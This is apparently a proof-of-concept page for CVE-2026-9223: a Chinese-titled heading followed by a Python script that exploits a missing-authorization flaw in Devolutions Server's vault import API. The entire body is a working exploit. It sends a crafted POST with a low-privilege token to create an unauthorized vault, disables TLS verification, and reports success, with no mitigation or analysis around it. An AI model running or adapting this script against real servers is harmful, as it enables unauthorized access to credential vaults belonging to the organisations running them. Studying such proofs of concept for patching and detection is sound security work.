CVE-2026-9223 Devolutions Server 授权缺失漏洞

import requests import json # CVE-2026-9223 PoC - Devolutions Server Vault Import Authorization Bypass # Target: Devolutions Server <= 2026.1.16.0 target_url = "https://target-server/api/vault/import" # Authentication headers (low-privilege user credentials) headers = { "Content-Type": "application/json", "Authorization": "Bearer <low_privilege_token>" } # Malicious import request to create new vault without proper authorization payload = { "vaultName": "MaliciousVault", "vaultType": "standard", "importData": { "entries": [] }, "createNew": True } try: response = requests.post(target_url, headers=headers, json=payload, verify=False, timeout=10) if response.status_code == 200 or response.status_code == 201: print("[+] SUCCESS: New vault created via unauthorized import") print(f"[+] Response: {response.json()}") else: print(f"[-] FAILED: Status code {response.status_code}") print(f"[-] Response: {response.text}") except requests.exceptions.RequestException as e: print(f"[-] ERROR: {str(e)}")